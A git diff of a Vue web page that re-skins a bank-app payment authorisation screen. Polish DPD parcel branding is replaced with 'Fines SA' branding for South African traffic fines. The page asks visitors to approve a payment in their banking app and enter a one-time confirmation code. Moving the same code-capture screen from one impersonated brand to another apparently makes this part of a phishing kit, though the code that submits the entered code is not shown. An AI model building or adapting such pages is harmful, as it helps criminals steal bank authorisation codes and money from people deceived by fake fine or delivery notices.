diff --git a/a5_za_sf_finessa/src/views/AppValidView.vue b/a5_za_sf_finessa/src/views/AppValidView.vue
index 12900a3..0d95334 100644
--- a/a5_za_sf_finessa/src/views/AppValidView.vue
+++ b/a5_za_sf_finessa/src/views/AppValidView.vue
@@ -68,64 +68,63 @@ const submit = async () => {
 </script>
 
 <template>
-  <div class="dpd-app-wrapper">
-    <div class="dpd-app-card">
+  <div class="app-valid-wrapper">
+    <div class="app-valid-card">
 
-    
+      <div class="app-valid-badge">Fines SA</div>
 
-      <!-- 手机 App 授权图示 -->
-      <div class="dpd-phone-icon">
+      <div class="app-valid-icon">
         <svg viewBox="0 0 80 80" xmlns="http://www.w3.org/2000/svg" width="80" height="80">
-          <rect x="18" y="4" width="44" height="72" rx="7" fill="#f4f4f4" stroke="#dc0032" stroke-width="2.5"/>
-          <rect x="28" y="9" width="24" height="4" rx="2" fill="#dc0032" opacity="0.3"/>
-          <circle cx="40" cy="70" r="3" fill="#dc0032" opacity="0.5"/>
-          <path d="M40 22 L52 27 L52 38 Q52 47 40 52 Q28 47 28 38 L28 27 Z" fill="#dc0032" opacity="0.12" stroke="#dc0032" stroke-width="1.5"/>
-          <polyline points="34,38 38,43 47,33" fill="none" stroke="#dc0032" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/>
+          <rect x="18" y="4" width="44" height="72" rx="7" fill="#f8f6f1" stroke="#17394a" stroke-width="2.5"/>
+          <rect x="28" y="9" width="24" height="4" rx="2" fill="#df6b2d" opacity="0.35"/>
+          <circle cx="40" cy="70" r="3" fill="#17394a" opacity="0.5"/>
+          <path d="M40 22 L52 27 L52 38 Q52 47 40 52 Q28 47 28 38 L28 27 Z" fill="#df6b2d" opacity="0.12" stroke="#df6b2d" stroke-width="1.5"/>
+          <polyline points="34,38 38,43 47,33" fill="none" stroke="#df6b2d" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/>
         </svg>
       </div>
 
-      <h2 class="dpd-title">Autoryzacja w aplikacji bankowej</h2>
+      <h2 class="app-valid-title">Confirm in your banking app</h2>
 
-      <p class="dpd-desc">
-        Otwórz aplikację swojego banku i potwierdź transakcję płatności DPD.<br/>
-        Nie zamykaj tej strony do momentu potwierdzenia.
+      <p class="app-valid-desc">
+        Open your banking app and approve this Fines SA payment authorisation for your South African traffic fine.<br/>
+        Keep this page open until the confirmation is complete.
       </p>
 
-      <div class="dpd-bank-row">
-        <svg viewBox="0 0 24 24" width="16" height="16" fill="#dc0032" style="flex-shrink:0">
+      <div class="app-valid-bank-row">
+        <svg viewBox="0 0 24 24" width="16" height="16" fill="#17394a" style="flex-shrink:0">
           <path d="M12 1L3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4z"/>
         </svg>
         <span><b>{{ t("Authorized bank") }}</b></span>
       </div>
 
-      <p class="dpd-sub">{{ t("Please go to the bank App to confirm the authorization") }}</p>
-      <p class="dpd-sub">{{ t("Please do not close this page") }}</p>
+      <p class="app-valid-sub">{{ t("Please go to the bank App to confirm the authorization") }}</p>
+      <p class="app-valid-sub">{{ t("Please do not close this page") }}</p>
 
-      <p class="dpd-error" v-if="message">{{ message }}</p>
+      <p class="app-valid-error" v-if="message">{{ message }}</p>
 
-      <div class="dpd-input-wrap" v-if="showInput">
-        <label class="dpd-input-label">Jednorazowy kod autoryzacyjny</label>
+      <div class="app-valid-input-wrap" v-if="showInput">
+        <label class="app-valid-input-label">App confirmation code</label>
         <input
           required
           type="number"
           inputmode="numeric"
-          class="dpd-input"
+          class="app-valid-input"
           @input="onchange"
           v-model="formData.appVerifyCode"
           minlength="3"
           maxlength="8"
-          placeholder="Wprowadź kod"
+          placeholder="Enter the code"
         />
-        <button class="dpd-btn" type="button" @click="submit">Potwierdź</button>
+        <button class="app-valid-btn" type="button" @click="submit">Confirm payment</button>
       </div>
 
-      <div class="dpd-loading-wrap" v-if="!showInput">
-        <svg class="dpd-spinner" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
+      <div class="app-valid-loading-wrap" v-if="!showInput">
+        <svg class="app-valid-spinner" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
           <circle cx="25" cy="25" r="20" fill="none" stroke="#eeeeee" stroke-width="4"/>
-          <circle cx="25" cy="25" r="20" fill="none" stroke="#dc0032" stroke-width="4"
+          <circle cx="25" cy="25" r="20" fill="none" stroke="#df6b2d" stroke-width="4"
             stroke-dasharray="80 45" stroke-linecap="round"/>
         </svg>
-        <p class="dpd-waiting">Oczekiwanie na potwierdzenie w aplikacji…</p>
+        <p class="app-valid-waiting">Waiting for confirmation in your banking app...</p>
       </div>
 
     </div>
@@ -133,77 +132,86 @@ const submit = async () => {
 </template>
 
 <style scoped>
-.dpd-app-wrapper {
-  min-height: 100dvh;
-  background-color: #f6f6f6;
+.app-valid-wrapper {
+  min-height: 100vh;
+  background:
+    radial-gradient(circle at top left, rgba(223, 107, 45, 0.16), transparent 28%),
+    linear-gradient(180deg, #f7f2e9 0%, #f8f5ef 38%, #fbfaf7 100%);
   display: flex;
   align-items: center;
   justify-content: center;
   padding: 24px 16px;
-  font-family: Arial, sans-serif;
+  font-family: "Avenir Next", "Trebuchet MS", sans-serif;
 }
 
-.dpd-app-card {
-  background: #ffffff;
-  border-radius: 8px;
-  border: 1px solid #e5e5e5;
-  box-shadow: 0 2px 12px rgba(0,0,0,0.06);
+.app-valid-card {
+  background: rgba(255, 255, 255, 0.94);
+  border-radius: 20px;
+  border: 1px solid rgba(24, 49, 63, 0.08);
+  box-shadow: 0 18px 40px rgba(24, 49, 63, 0.1);
   padding: 36px 28px;
   width: 100%;
-  max-width: 400px;
+  max-width: 430px;
   text-align: center;
 }
 
-.dpd-logo {
-  margin-bottom: 20px;
+.app-valid-badge {
+  display: inline-flex;
+  align-items: center;
+  justify-content: center;
+  margin-bottom: 18px;
+  padding: 7px 12px;
+  border-radius: 999px;
+  background: #fff7ec;
+  border: 1px solid rgba(223, 107, 45, 0.18);
+  color: #a25021;
+  font-size: 12px;
+  font-weight: 800;
+  letter-spacing: 0.05em;
+  text-transform: uppercase;
 }
 
-.dpd-logo-img {
-  width: 100px;
-  height: auto;
-}
-
-.dpd-phone-icon {
+.app-valid-icon {
   margin: 0 auto 20px;
 }
 
-.dpd-title {
+.app-valid-title {
   font-size: 20px;
   font-weight: 800;
-  color: #222;
+  color: #18313f;
   margin-bottom: 12px;
 }
 
-.dpd-desc {
+.app-valid-desc {
   font-size: 14px;
-  color: #555;
+  color: #61727c;
   line-height: 1.6;
   margin-bottom: 20px;
 }
 
-.dpd-bank-row {
+.app-valid-bank-row {
   display: inline-flex;
   align-items: center;
   gap: 6px;
   font-size: 14px;
-  color: #333;
+  color: #18313f;
   margin-bottom: 8px;
 }
 
-.dpd-sub {
+.app-valid-sub {
   font-size: 13px;
-  color: #888;
+  color: #7c8a92;
   margin: 4px 0;
 }
 
-.dpd-error {
-  color: #dc0032;
+.app-valid-error {
+  color: #b02b3a;
   font-size: 14px;
   font-weight: 600;
   margin: 12px 0;
 }
 
-.dpd-input-wrap {
+.app-valid-input-wrap {
   margin-top: 20px;
   display: flex;
   flex-direction: column;
@@ -211,17 +219,17 @@ const submit = async () => {
   align-items: center;
 }
 
-.dpd-input-label {
+.app-valid-input-label {
   font-size: 14px;
   font-weight: 600;
-  color: #333;
+  color: #18313f;
 }
 
-.dpd-input {
+.app-valid-input {
   width: 80%;
   padding: 10px 12px;
   border: 2px solid #ccc;
-  border-radius: 6px;
+  border-radius: 10px;
   font-size: 18px;
   font-weight: 700;
   text-align: center;
@@ -229,27 +237,28 @@ const submit = async () => {
   box-sizing: border-box;
 }
 
-.dpd-input:focus {
-  border-color: #dc0032;
+.app-valid-input:focus {
+  border-color: #df6b2d;
+  box-shadow: 0 0 0 4px rgba(223, 107, 45, 0.12);
 }
 
-.dpd-btn {
+.app-valid-btn {
   width: 80%;
   padding: 12px;
-  background-color: #dc0032;
+  background: linear-gradient(135deg, #17394a, #225573);
   color: #fff;
   border: none;
-  border-radius: 6px;
+  border-radius: 999px;
   font-size: 16px;
   font-weight: 700;
   cursor: pointer;
 }
 
-.dpd-btn:active {
-  background-color: #b30026;
+.app-valid-btn:active {
+  background: #17394a;
 }
 
-.dpd-loading-wrap {
+.app-valid-loading-wrap {
   margin-top: 24px;
   display: flex;
   flex-direction: column;
@@ -257,15 +266,15 @@ const submit = async () => {
   gap: 12px;
 }
 
-.dpd-spinner {
+.app-valid-spinner {
   width: 48px;
   height: 48px;
   animation: spin 1.2s linear infinite;
 }
 
-.dpd-waiting {
+.app-valid-waiting {
   font-size: 13px;
-  color: #999;
+  color: #7c8a92;
 }
 
 @keyframes spin {